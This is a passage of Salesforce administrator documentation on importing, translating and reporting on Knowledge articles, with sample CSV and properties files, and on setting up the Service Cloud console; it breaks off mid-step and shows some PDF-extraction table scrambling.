Use the plus (+) symbol to specify more than one channel (for example, application+sites+csp to make an article available in all channels). Note that when importing articles with translations and associated channels, only the master article retains the channels. The article translations have no associated channels upon import. The following example .csv files import articles in a Product Offer article type. The first example is for imports of articles without translations. The second is for imports with translations. The .csv files contain titles, summaries, and descriptions. They also classify the articles in the category group Products and make them available for specific channels. The description__c field is a rich text area and only supports paths to .html files. The summary__c field is a text field and only supports raw text. The Best Desktop Computer Deals article has no summary; the cell is left blank because the summary__c field is not mandatory. Title Free Digital Camera Offer Best Desktop Computer Deals Free Shipping on Laptop and Desktops summary__c Get the new Digital Camera. description__c data/freecam.html data/bestdeals.html data/freeship.html datacategorygroup.Products Channels Consumer_Electronics application+csp Desktop Laptop+Desktops application+csp application+csp

Example articlesimport.csv file:


Title,summary__c,description__c,datacategorygroup.Products,Channels Free Digital Camera Offer, Get the new Digital Camera.,data/freecam.html,Consumer_Electronics,application+csp Best Desktop Computer Deals,,data/bestdeals.html,Desktop,application+csp Free Shipping on Laptop and Desktops,,data/freeship.html,Laptop+Desktops,application+csp
isMasterLanguage Title 1 0 0 1 0 0 1 0 summary__c description__c data/freecam.html datacategorygroup.Products Channels Consumer_ Electronics Language

Free Digital Camera Offer Get the new Digital Camera.

application+csp en fr es

Librer l'Offre d'Appareil Obtenir le nouvel Appareil data/freecam/fr.html photo digital photo digital. Liberte Oferta Digital de Cmara Best Desktop Computer Deals Meilleures Affaires d'ordinateurs de bureau Mejores Tratos de ordenadores Free Shipping on Laptops and Desktops Librer Affranchissement sur Portables et Ordinateurs Consiga la nueva Cmara Digital. data/freecam/es.html data/bestdeals.html data/bestdeals/fr.html data/bestdeals/es.html data/freeship.html data/freeship/fr.html Laptops+ Desktops Desktops

application+csp en fr es application+csp en fr

1403

Customize

Importing Articles

isMasterLanguage Title 0 Liberte Franqueo en Laptops y Ordenadores

summary__c

description__c data/freeship/es.html

datacategorygroup.Products Channels

Language es

Example articlestranslationsimport.csv file:


isMasterLanguage,Title,summary__c,description__c,datacategorygroup.Products,Channels,Language 1,Free Digital Camera Offer,Get the new Digital Camera,data/freecam.html,Consumer_Electronics,application+csp,en 0,Librer l'Offre d'Appareil photo digital,Obtenir le nouvel Appareil photo digital.,data/freecam/fr.html,,,fr 0,Liberte Oferta Digital de Cmara,Consiga la nueva Cmara Digital.,data/freecam/es.html,,,es 1,Best Desktop Computer Deals,,data/bestdeals.html,Desktops,application+csp,en 0,Meilleures Affaires d'ordinateurs de bureau,,data/bestdeals/fr.html,,,fr 0,Mejores Tratos de ordenadores,,data/bestdeals/es.html,,,es 1,Free Shipping on Laptop and Desktops,,data/freeship.html,Laptops+Desktops,application+csp,en 0,Librer Affranchissement sur Portables et Ordinateurs,,data/freeship/fr.html,,,fr 0,Liberte Franqueo en Laptops y Ordenadores,,data/freeship/es.html,,,es

See Also:
Importing Articles Prepare Articles for Import to Salesforce Knowledge Specify Parameters for Article Import

Specify Parameters for Article Import

1404

Customize

Importing Articles

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

Specify import parameters in a property file using key names and corresponding values. For example, use the key DateFormat to specify that a date custom field appears in the :DateFormatt=dd/MM/YYYY format or specify the character encoding to be used for the import. Create a file with the .properties extension and specify the required parameters, as described in this table. Key DateFormat DateTimeFormat CSVEncoding CSVSeparator RTAEncoding Description Default Value

Format of the date to read in the .csv file yyyy-MM-dd Format of the date and time to read in yyyy-MM-dd HH:mm:ss the .csv file Character encoding used to read the .csv ISO8859_15_FDIS file .csv file separator ,

Default encoding used for the HTML ISO8859_15_FDIS files (if not specified in the charset attribute from the HTML meta tag). Note: Salesforce does not support UTF-32 character encoding. We recommend using UTF-8. If you use specify UTF-16 character encoding,

1405

Customize

Importing Articles

Key

Description ensure your HTML files specify the right byte-order mark.

Default Value

Note: You must specify only Java date formats; see Java date formats RFC (Request For Comments) on http://java.sun.com/. Make sure the date format is not misleading. For example, if you choose the format yyyy-M-d, a date entered as 2011111 can be interpreted as 2011-01-11 or 2011-11-01. Specify at least : Two digits for month and day format (MM, dd) Four digits for year format (yyyy)

If a date in the .csv file does not match the date format specified in the property file, the related article is not imported. Example offerarticlesimport.properties property file:
DateFormat=yyyy-MM-dd DateTimeFormat=yyyy-MM-dd HH:mm:ss CSVEncoding=ISO8859_15_FDIS CSVSeparator=, RTAEncoding=UTF-8

See Also:
Importing Articles Create a .csv File for Article Import Create a .zip File for Article Import

Create a .zip File for Article Import

1406

Customize

Importing Articles

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

To complete the import, create a .zip file containing: The .csv file. The folder containing the .html files to import. The folder containing the image files referenced in the .html files. The .properties file.

The import .zip file must meet the following requirements: There can only be one .csv file and one .properties file. The .csv file and the .properties file must be in the root directory. The compression process must preserve the folder and subfolder structure. The .zip file cant exceed 10 MB and the uncompressed files cant exceed 100 MB. .csv files cant have more than 10,000 rows, including the header row. .csv file rows cant exceed 400,000 characters. .csv file cells cant exceed 32 KB. Each article in the .csv file cant have more than 49 translations.

Upload your .zip file: 1. 2. 3. 4. Select Your Name > Setup > Data Management > Import Articles. Select the appropriate Article Type for the imported articles. Click Browse to select the .zip file, and click OK. If your import contains translations, select the Contains translations? checkbox.

1407

Customize

Importing Articles

Note: If this checkbox is selected, your .csv file must contain the isMasterLanguage, Title, and Language columns. If this checkbox is not selected, your csv file cant contain the isMasterLanguage column but must contain the Title column. The Language column is optional for imports of articles without translations. 5. Click Import Now. When the import is complete you receive an email with an attached log that provides details about the import.

See Also:
Importing Articles Specify Parameters for Article Import View Salesforce Knowledge Import and Export Status

View Salesforce Knowledge Import and Export Status


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

To check the status of your imports and exports, click Your Name > Setup > Monitoring > Article Imports and Exports. If you've enabled multiple languages for Salesforce Knowledge, you see two tables: one for article and translation imports and another for exports for translation. Import information includes: Possible actions .Zip file names

1408

Customize

Importing Articles

Who submitted it and when Status Started and completed dates Article types

Export information includes: Possible actions Zip file names Who submitted it and when Status Started and completed dates

Status descriptions are as follows: Status Pending Description Possible Action

The import or export will start as soon You can click Cancel to cancel the import as the previous pending import or export or export. completes. The import or export is processing. If you want to stop the process, or if the process has been stopped, call Salesforce Support. Salesforce may stop an import or export if a maintenance task has to be performed or the import or export exceeds one hour. Contact Salesforce Support to restart the import or export, or click Cancel to cancel an entry. You can restart an import or export, click Del to delete an entry, or click Email Log to receive the completion email and check the details of your import or export.

Processing

Stopping/Stopped

Salesforce Support is stopping or has already stopped the import or export. The import or export has been canceled. The articles that already imported or exported successfully are available in Salesforce. The import or export is complete.

Aborted

Completed

Note that this status doesn't mean the import or export is successful. Click Successfully imported articles are visible Email Log to see the log file attached to on the Article Management tab on the the completion email and check the Articles subtab. Successfully imported details of your import or export. translations are visible on the Article Management tab on the Translations Click the exported .zip file name to save subtab. or open the file on your system.

See Also:
Importing Articles

1409

Customize

Importing Article Translations

Importing Article Translations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

Consider the following before importing translated articles into Salesforce: You can only import articles that have been exported from the same Salesforce organization. For example, you can't export articles from your test or sandbox organization and import them into your production organization. You must place all the translation files (meaning, those exported from Salesforce and translated by your vendor) in a folder whose name is the same as the language code. For example, put French articles in an fr folder. Zip up this folder to create your import file. To import translated articles successfully, verify that the file structure and their extensions match the file structure and extensions of files exported from Salesforce Knowledge for translation. For example, if the target language is French, the file structure begins as follows:
import.properties -fr --articletypearticlename_kav ---articlename.csv ---[Article collateral, html, images, etc.]

To import translated articles: 1. Click Your Name > Setup > Data Management > Import Article Translations. 2. Choose how Salesforce handles translations after they're imported.

1410

Customize

Reporting on Articles

Option

Description

Review imported translations on the Article Add imported translations to a queue from which users can Management tab before publishing review them. Publish translations immediately on import Publish imported translations without reviews.

3. 4. 5. 6.

Select the language of the articles you're importing. Optionally, if you chose to have articles reviewed before publishing, select a user or queue for the review. Click Browse, choose the translation .zip file to upload, and click Open. Click Import Now. If you have more translated articles to upload, repeat steps four through six.

7. Click Finish. An email notification is sent to you when your import finishes. You can view the status of your import by clicking Your Name > Setup > Monitoring > Article Imports and Exports.

See Also:
Setting up a Multilingual Knowledge Base Exporting Articles for Translation

Reporting on Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To create a public reports folder Manage Custom Report Types Manage Public Reports

As an administrator, you can create custom report types so users can create reports about Salesforce Knowledge articles. Custom report types are the only way to make reports about articles available for your usersSalesforce does not provide sample article reports or a standard report folder for articles. Tip: The Knowledge Base Dashboards and Reports AppExchange package provides over two dozen reports that help you monitor the knowledge base and analyze usage metrics. The following sections explain how to define custom report types, create a public folder that appears on the Reports tab, and add custom reports to the folder so users can easily access article reports. Field definitions for article reports and a list of tips are also provided.

1411

Customize

Reporting on Articles

Step 1. Create a Custom Report Type for Article Data To create a custom report: 1. Click Your Name > Setup > Create > Report Types and click New Custom Report Type. 2. In the Primary Object drop-down menu, select the article-related object you want to report on: Knowledge ArticlesSelect if you want to compare information about individual articles, such as their creation dates, published channels, and number of associated cases. If you choose this custom report type, you can also include article view and vote statistics. Knowledge Article SearchesSelect if you want to analyze the number of searches per day, month, or year for each channel and role. Knowledge Article VersionSelect if you want to compare information about individual translations, such as their creation dates, published channels, and number of associated cases. If you choose this custom report type, you can also include article view and vote statistics. Knowledge Article ViewsSelect if you want to analyze the number of views per day, month, or year for each channel and role. Knowledge Article VotesSelect if you want to analyze the number of votes per day, month, or year for each channel and role. Knowledge Keyword SearchSelect if you want to see which keywords have been used to search the knowledge base.

3. Complete the required fields and click Save. Tip: In the Store in Category drop-down menu, we recommend choosing Customer Support Reports or Other Reports. This is the category where users will find the custom report type on the Reports tab. 4. Make your choice on the Define Report Records Set page and click Save. If you chose Knowledge Articles as the primary object, you can associate Article Vote Statistics or Article View Statistics as the secondary object. 5. As needed, remove and rearrange fields from your report layout. Step 2. Create a Folder for Article Reports Create a public folder where you can store article reports for your users. Reports you store in this folder will be available on the Reports tab. 1. 2. 3. 4. 5. In the Report Folder section of the Reports tab, click Create New Folder. Enter Article Reports in the Folder Label field. Modify the Group Unique Name if needed. Choose a Public Folder Access option. Select read/write if you want users to be able to add and remove reports. Choose a folder visibility option and click Save.

Step 3. Create an Article Report Using your custom report types, create article reports and save them to the new Article Reports folder. Tip: To help you run an article report, review the report field definitions and report tips.

1. On the Reports tab, click New Report. 2. Choose the category where your custom report types are stored, for example, Customer Support Reports or Other Reports. Tip: The Cases with Articles report is available by default in the Customer Support Reports folder.

1412

Customize

Reporting on Articles

3. Find your report type and click Create. For detailed information about creating a report, see Selecting a Report Type. 4. When viewing your report, click Save As and save it in the new Article Reports folder to make the report available to other users. Fields on Article Reports The following article fields are available on reports. Field
Article Number Case Association Count Channel

Description Unique number automatically assigned to the article. Number of cases attached to the article. Channel applicable to the given record; possible values include All Channels, Internal App, Customer Portal, Partner Portal, and Public Knowledge Base. In reports using the Knowledge Articles custom report type, each article has five records (rows): one for each channel. Depending on the report, the number of votes, views, or searches applicable to the duration shown (Day, Month, Year). User who created the article. Date the article was drafted. If the article has been published more than once, this is the original draft date. Depending on the report, the total votes, views, or searches for the record. Last date on which activity took place for the record. All records (rows) represent a date, channel, and role combination. Depending on the report, indicates whether votes, views, or searches are a daily, monthly, or yearly aggregation. Date the article was originally published. Indicates whether the keyword shown was found during a search of the knowledge base. Indicates that the article is not a translation, but the original article. Search term used to search published articles in the knowledge base.

Count Created By: Full Name Created Date Cumulative Count Date Duration First Published Date Found Is Master Language Keyword

Knowledge Article Version Unique ID automatically assigned to the article translation. ID Language Last Modified By: Full Name Last Modified Date Last Published Date Master Language Out of Date Publication Status

The article's language. User who changed the article most recently. Date the article was last changed. Date the article was last published. The original language of the article. Indicates that the master article has been updated since this translation was published. Indicates whether the article or translation is in progress (draft), published, or archived.

1413

Customize

Reporting on Articles

Field
Related Role

Description Name of the role that applies to the record. In reports using the Knowledge Article Votes, Knowledge Article Views, and Knowledge Article Searches custom report types, each record (row) in the report represents votes, views, or searches per channel per role. Article's average rating on a scale of 1 to 5. Note that scores take into account a half-life calculation. Every 15 days, if an article has not received a new vote its average rating moves up or down. This change ensures that over time, older or outdated articles don't maintain artificially high or low ratings compared to newer, more frequently used articles. Articles without recent votes trend towards an average rating of three stars. Description of the article provided by the author. Article title. The total score for an article including the points from all votes. Each vote provides a number of points: 1 Star is 10 points 2 Stars is 5 points 3 Stars is 0 points 4 Stars is +5 points 5 Stars is +10 points Number of times a published article has been viewed. Number of votes for an article. Date the translation was completed.

Score

Summary Title Total Sum

Total Views Total Votes Translation Completed Date

Translation Exported Date Date the article was exported for translation. Translation Imported Date Date the translation was imported. URL Name Visible in Customer Portal Visible in Internal App

Text used as hyperlink for the article. Indicator that the article is published in the Customer Portal. Indicator that the article is published in the internal app (Articles tab).

Visible in Partner Portal Indicator that the article is published in the partner portal. Visible in Public Knowledge Base

Indicator that the article is published in the public knowledge base.

Tips on Using Article Reports The following tips may help you read your article-related reports: Create a Knowledge Keyword Search report to determine which terms users are looking for in your knowledge base. In reports using the Article custom report type, you will have at least five rows per article (one for each channel, including All Channels). In reports using the Knowledge Article Votes, Knowledge Article Views, or Knowledge Article Searches custom report types, each row represents a day, channel, and role combination. For example, if a user with the Kingmaker role views articles in the internal app and the next day the same user views more articles in the internal app, the Article Views report has two rows: one for each unique date.

1414

Customize

Following Articles in Chatter Feeds

In reports using the Knowledge Article Votes, Knowledge Article Views, or Knowledge Article Searches custom report types, the Count indicates the number of votes, views, or searches for the duration shown (Day, Month, or Year). The Cumulative Count is the grand total for the history of the record. An article's score (rating) uses a half-life calculation. Every 15 days, if an article has not received a new vote its average rating moves up or down. This change ensures that over time, older or outdated articles don't maintain artificially high or low ratings compared to newer, more frequently used articles. Articles without recent votes trend towards an average rating of three stars. If you want to report on highest-rated articles without taking into account the decay factored into the Score field, use the Total Sum field.

See Also:
Custom Report Types Overview Setting Up Custom Report Types Creating a Custom Report

Following Articles in Chatter Feeds


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit the feed tracking setup page: Customize Application

Feed tracking for Salesforce Knowledge articles is enabled by article type rather than article. To enable feed tracking for article types: 1. Click Your Name > Setup > Customize > Chatter > Feed Tracking. 2. Select an article type. Each article type appears by name in the Object list. For example, if your organization has three article types named Offer, FAQ, and Warranty, all three appear alphabetically in the Objects list. 3. Select Enable Feed Tracking, then click Save when you're done with the page. Unlike other objects, individual fields on article types are not tracked. Instead, changes to publication status trigger updates. Specifically, when you follow an article (meaning you've clicked Follow on the published article), posts about that article on your Home tab feed occur: If the article is removed from the knowledge base for edit (unpublished) and you have the Manage Articles permission. Three Months Free Al Smith unpublished this offer If the article is republished. Three Months Free Al Smith published a new version of this offer If the article is republished and flagged as new by the publisher. Three Months Free Al Smith published this new offer If the article is archived. Three Months Free Al Smith archived this offer Note: The article-title link always opens the current version of the article in the knowledge base. For example, let's say you're following an article that is converted to draft (unpublished) on Monday, republished with changes on Tuesday, and archived on Friday. You receive three updates in your feed: one for each status change. If on

1415

Customize

Modifying Category Group Assignments in Salesforce Knowledge

Friday you browse your feed history and click the article link from Monday's update, the archived version of the article opensnot Monday's draft version.

See Also:
Chatter Overview What is Salesforce Knowledge? Useful Salesforce Knowledge Terminology Defining Article Types

Modifying Category Group Assignments in Salesforce Knowledge


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify category groups assignments in Salesforce Knowledge: Customize Application AND Manage Salesforce Knowledge

Salesforce Knowledge uses data categories to classify articles. Authors can assign up to eight data categories from one category group to an article so that users searching for articles can find and filter by category. For more information, see What are Data Categories? on page 1440 Data categories are organized by category group. After creating category groups, you can decide which groups should be used for Salesforce Knowledge articles. For example, if your organization uses both the Answers and Salesforce Knowledge, you may want one category group to be used by the answers community and two other category groups to be used for articles. Answers and articles can use the same category group. By default, all the category groups you create are assigned to Salesforce Knowledge. To modify the assignment: 1. Click Your Name > Setup > Customize > Knowledge > Data Category Assignments. A list of all category groups appears. 2. Click Edit and move any category groups that you don't want available for articles from the Selected Category Groups list to the Available Category Groups list. Later, you can choose to make a hidden category group visible. 3. Click Save. You receive an email after the save process completes. Authors can now assign categories in the selected groups to articles on the Article Management tab. Note that authors can only access categories if the category group is active and the author's data category visibility settings provide access to the category.

Supporting Multiple Languages in Your Knowledge Base


1416

Customize

Supporting Multiple Languages in Your Knowledge Base

Available in: Enterprise, Unlimited, and Developer Editions

Watch a Demo (3:39 minutes) With multiple languages for Salesforce Knowledge you can lower support costs by translating articles into the languages your audience prefers. After an administrator selects your language settings, two translation methods are available: translating articles in-house using the editing tool in the knowledge base, or sending articles to a localization vendor. Different languages can use different methods. For example, you may want to export articles to a vendor for French translations, but assign articles to a Salesforce Knowledge user for Spanish translations. Translating an article within the knowledge base usually follows these steps: 1. An author or reviewer submits an article for translation to another knowledge base user (the assignee). 2. The assignee translates the article using the article editor, then assigns the finished translation to a reviewer or publisher. 3. The reviewer publishes the article. Publishing an article automatically includes both the source article and its completed translations. Note that a translated version of an article can be published before its source article, but it will only be visible to readers when its source article is also published. Translating an article using a vendor usually follows these steps: 1. An author or reviewer assigns an article to a queue for translation. 2. An administrator creates an export file from the queue and sends the file to the localization vendor. 3. After the vendor returns the translated articles, an administrator imports the translated articles into the knowledge base. Imported articles can be published automatically or assigned to a reviewer. 4. If the translations weren't published automatically, the assignee reviews and publishes them. Implementation Tips Before you add languages to your knowledge base, decide for each language whether you want to translate articles directly in Salesforce or export articles to a translation vendor. Communicate your decision to the people involved in the translation process (authors, reviewers, translation managers, publishers). When adding a language to your knowledge base, keep in mind that it can't be deleted; however, you can hide a language by making it inactive. Deactivating a language means it no longer appears as a choice in the New Article dialog or the Submit for Translation dialog. Also, if articles are already published in the language, those articles are no longer visible to readers as soon as the language is deactivated. You can only add languages supported by Salesforce to your knowledge base. To enable the article export feature, you must create one or more queues; authors and reviewers will select the queue when they submit an article for translation. Make sure they know which queue to choose for which language. You must place all the translation files (meaning, those exported from Salesforce and translated by your vendor) in a folder whose name is the same as the language code. For example, put French articles in an fr folder. Zip up this folder to create your import file.

Best Practices To hide translated articles for a specific language, deactivate the language by unchecking Active on the Settings page.

1417

Customize

Supporting Multiple Languages in Your Knowledge Base

To import translated articles successfully, verify that the file structure and their extensions match the file structure and extensions of files exported from Salesforce Knowledge for translation. For example, if the target language is French, the file structure begins as follows:
import.properties -fr --articletypearticlename_kav ---articlename.csv ---[Article collateral, html, images, etc.]

See Also:
Setting up a Multilingual Knowledge Base Exporting Articles for Translation Importing Article Translations Translating Articles within Salesforce Knowledge

Setting up a Multilingual Knowledge Base


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up multiple languages for Salesforce Knowledge: Customize Application AND Manage Salesforce Knowledge

To set up your knowledge base to support multiple languages: 1. If you will send articles to a vendor for translation, you must create a translation queue. For a description of the translation process, see Supporting Multiple Languages in Your Knowledge Base on page 1416. 2. On the Your Name > Setup > Customize > Knowledge > Settings page click Edit. 3. Select Multiple Languages and add the languages you want to include in your knowledge base. You can only add languages supported by Salesforce. Note: You can't remove a language once you've added it to your knowledge base.

4. Optionally, choose the following settings for each language: Setting


Active

Description Only active languages appear in the New Article dialog and the Submit for Translation dialog. Also, active/inactive status

1418

Customize

Supporting Multiple Languages in Your Knowledge Base

Setting

Description determines whether a published article is visible. For example, if articles are published in Spanish to your partner portal and then you make Spanish an inactive language, the articles are no longer visible to partners.

Default Assignee

This value appears in the Assign To field of the Submit for Translation dialog. Choose a person or a queue: the individual responsible for translating articles into this language, or the queue used for exporting articles to a localization vendor. Select the person who should be assigned to review or publish translations imported in this language.

Default Reviewer

5. Click Save.

See Also:
Setting Up Salesforce Knowledge Customizing Salesforce Knowledge Settings

Translating Articles within Salesforce Knowledge


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To work with translated articles: Manage Articles AND Create, Read, Edit, or Delete on the article type (depending on the action)

Depending on the status of your translation and the article actions assigned to you, you can do the following from the translation detail page. Action Archive Description Article Status

Archiving removes published translations To archive a translation, archive its that are obsolete so they no longer display master article. to agents and customers on your organization's Salesforce Knowledge channels.

1419

Customize

Supporting Multiple Languages in Your Knowledge Base

Action Assign... Delete

Description Assigning changes the owner of the translation. Deleting a translation permanently removes it from the knowledge base. Note: You can't undelete a draft translation.

Article Status Draft translations Draft translations

Edit Preview Publish...

Editing modifies the translation's content Draft and published translations or properties. Previewing shows how the translation appears to end users. Publishing translations makes them visible in all channels selected. Draft and published translations Draft translations

To translate an article within Salesforce: 1. Click the Article Management tab and select Translations in the View area. 2. Select Draft Translations. 3. Optionally, change the Assigned To filter to view articles that are not assigned to you for translation. For example, you may want to view articles assigned to a translation queue. 4. Click Edit next to the article and language you want to translate. 5. Enter your translation. 6. Click Save. Note: You can also edit a published translation. It reverts to draft status until you republish it, although you can choose to keep the existing version published while you update it.

See Also:
Supporting Multiple Languages in Your Knowledge Base Exporting Articles for Translation Importing Article Translations

Exporting Articles for Translation

1420

Customize

Supporting Multiple Languages in Your Knowledge Base

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To export articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export To view articles: To create articles: Read on the article type Read and Create on the article type

If your organization sends Salesforce Knowledge articles to a vendor for translation, articles are put into a translation queue. Note: You can have up to 50 exports in 24 hours and a maximum of 15 pending exports (exports that have not entered a final state such as Completed, Failed, or Cancelled). To generate an export file containing the articles that have been submitted for translation: 1. Click Your Name > Setup > Data Management > Export Articles for Translation. 2. Select the queue that contains the articles you're exporting. 3. Click either: All articles to export every article in the queue. Updated articles to only export articles that have been modified or added.

4. Click Continue. 5. Select the source and target language pairs you want to export. Salesforce creates a separate .zip file for every article type in each language pair. Attention: You must retain the .zip file structure for a successful import. For more information, see Importing Article Translations on page 1410. 6. Select a user or a queue to assign the translations to after export for review or publishing. 7. Select the file character encoding: ISO-8859-1 (General US & Westion European, ISO-LATIN-1) Unicode Unicode (UTF-8) default Japanese (Windows) Japanese (Shift_JIIS) Chinese National Standard (GB18030) Chinese Simplified (GB2312)

1421

Customize

Supporting Multiple Languages in Your Knowledge Base

Chinese Traditional (Big5) Korean Unicode (UTF-16, Big Endian)

8. Select the delimiter for the .csv files. The delimiter is the separator for columns when the file is converted to table form. Your options are: Tab (This is the default.) Comma

9. Click Export Now. You're notified by email when your export is complete. You can also check the status of your export by viewing the Article Import and Export Queue at Your Name > Setup > Monitoring > Article Imports and Exports. For description of status states, see View Salesforce Knowledge Import and Export Status on page 1408. 10. Unzip the exported files, but retain the file structure for a successful import.

See Also:
Setting up a Multilingual Knowledge Base Importing Article Translations

Creating an Article Queue


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change queues: Customize Application AND Manage Public List Views To create or change queues created by other users: Customize Application AND Manage Public List Views AND Manage Users

If your organization sends articles for translation outside of Salesforce, you must create one or more translation queues. When authors or reviewers submit an article for translation, they select the queue. You can create one queue for each language or combine languages within queues. To create a queue: 1. Click Your Name > Setup > Manage Users > Queues.

1422

Customize

Setting Up a Service Cloud Console

2. Click New. 3. Enter a name for the queue. 4. Choose email notification settings for the queue: To Notify You Must

One email address when new records are placed in the queue Add an email address to Queue Email You can add an email address for an individual user or an email distribution list. All queue members individually when new records are placed Leave Queue Email blank in the queue All queue members and the Queue Email individually when new records are placed in the queue Add an email address to Queue Email and check Send
Email to Members

5. Add Knowledge Article Version as the object available to the queue. 6. Choose queue members. You can select individual users, roles, public groups, territories, connections, or partner users. Only queue members and users above them in the role hierarchy can take ownership of records in the queue, depending on your organization's sharing settings. 7. Click Save.

See Also:
Exporting Articles for Translation Queues Overview Creating Queues

SETTING UP A SERVICE CLOUD CONSOLE


Setting Up a Service Cloud Console
Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To set up a Service Cloud console: Customize Application

To set up the Service Cloud console:

1423

Customize

Setting Up a Service Cloud Console

1. 2. 3. 4. 5.

Customize highlights panels for all objects. Create an app for your Service Cloud console and assign it to user profiles. Set up interaction logs and assign them to user profiles. Choose how lists display. Set up call center with version 3.0 of the CTI Toolkit. Call center users can only use a SoftPhone in the Service Cloud console if they're using a CTI adapter built with version 3.0 or 4.0 of the CTI Toolkit. 6. If Salesforce Knowledge is set up, turn on the Knowledge sidebar for cases: a. b. c. d. e. Click Your Name > Setup > Customize > Cases > Page Layouts. Click Edit next to a page layout. Click Layout Properties. Check Knowledge Sidebar, and click OK. Click Save.

Repeat these steps for each case page layout assigned to console users. 7. Assign users the Service Cloud User feature license: a. b. c. d. Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name. Select Service Cloud User. Click Save.

Tips on Setting Up a Service Cloud Console The new user interface theme automatically displays for all pages in the Service Cloud console. It's not applied to any pages outside of the Service Cloud console unless you enable it. You can review an out-of-the box Service Cloud console by selecting Sample Console from the Force.com app menu. Administrators can customize the Sample Console and give users access to it at Your Name > Setup > Create > Apps. You must refresh your browser to see any setup changes to the Service Cloud console. Advanced administrators and developers can use the Service Cloud Console Integration Toolkit, or custom console components, to implement custom functionality for the Service Cloud console. See Custom Console Components Overview on page 1430.

See Also:
Service Cloud Console Overview Helpful Service Cloud Console Terminology Setting Up Salesforce Knowledge

Customizing Highlights Panels

1424

Customize

Setting Up a Service Cloud Console

Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

View key information at a glancethe highlights panel is a table of up to four columns at the top of every primary tab in the Service Cloud console. Each column has one or two fields that you can customize to suit your business needs. Highlights Panel Fields and Format The Highlights panel displays standard and custom fields, and columns. The following formatting rules apply: Standard and custom fields Fields must also be on the detail page layout Fields can appear once per highlights panel Columnsminimum one, maximum four. Column widths resize automatically. Fields per columnone or two, in top or bottom positions. When users see the highlights panel: Top fields appear in bold and in a larger font than bottom fields. Blank fields appear as follows: Top fieldsappear blank (except when top fields are blank because users don't have permission to view them). Bottom fieldsthe top field expands to fill the column Both fieldsthe column appears blank

Users see only the fields that they have permission to view. If users can't see: Top fieldsthe bottom field replaces the top field and expands to fill the column Bottom fieldsthe top field expands to fill the column Any fields in a columnthe column is removed

Editing the Highlights Panel Hover over the highlights panel on any page layout and click (or double-click the highlights panel) to edit.

To add or change fields, click the appropriate column and select fields from the Top Field and Bottom Field lists: Fields must also be on the detail page layout. If fields you want to add aren't listed, add them to the detail page layout. Rich text area (RTA) and custom long-text area fields are not supported in the highlights panel, even if they are included in the detail page layout.

1425

Customize

Setting Up a Service Cloud Console

Fields can appear once per highlights panel. Fields already in use appear grey in the field-selection lists. To remove fields, click the appropriate column and select -None- from the field-selection lists. To add columns, click Add Column. To remove columns, hover over the column and click . To save highlights panel changes, click OK in the Highlights Panel Properties dialog box. When you've finished editing the page layout, click Save. Don't navigate away from the page layout before clicking Save or you'll lose your changes.

Turning off the Highlights Panel Edit any page layout and click Layout Properties, deselect Highlights Panel, and click OK. Then save the page layout.

See Also:
Service Cloud Console Overview Setting Up a Service Cloud Console Customizing Page Layouts

Creating a Service Cloud Console App


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

Watch a Demo (1:30 minutes) You create the Service Cloud console as a custom app that users select from the Force.com app menu. The number of Service Cloud console apps you can create is based on your custom app limits. 1. 2. 3. 4. Click Your Name > Setup > Create > Apps. Click New. Select Service Cloud console and click Next. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name in the Force.com app menu. 5. Optionally, enter a description of the app. 6. Click Next. 7. Select the items to include in the navigation tab. For example, if you want users to choose accounts from the navigation tab, move Accounts from Available Navigation Tab Items to Selected Navigation Tab Items.

1426

Customize

Setting Up a Service Cloud Console

Click the left and right arrow buttons to add or remove items. Click the up and down arrow buttons to define the order in which items display on the navigation tab when it's clicked. Note: You can't add the following to the navigation tab: forecasts, ideas, answers, connections, portals, console, home, activities (tasks and events), or buttons for customizing your organization. You can add Google AdWords to the navigation tab, but it might not display correctly in the Service Cloud console. Tab visibility settings, and the Overwrite users' personal tab customizations setting, don't apply to the navigation tab. For example, users can access Accounts from the navigation tab even if Accounts are Tab Hidden on user profiles.

8. Click Next. 9. Choose how items display in the Service Cloud console when they're not selected from a primary tab or subtabs. For example, when users select cases from list views, search results, or screen pops, you can choose whether cases display as primary tabs or as subtabs on parent records. Next to an object, click:
As a primary tab to display the object's records as primary tabs. As a subtab of to display the object's records as subtabs. From the drop-down list, choose the parent record where

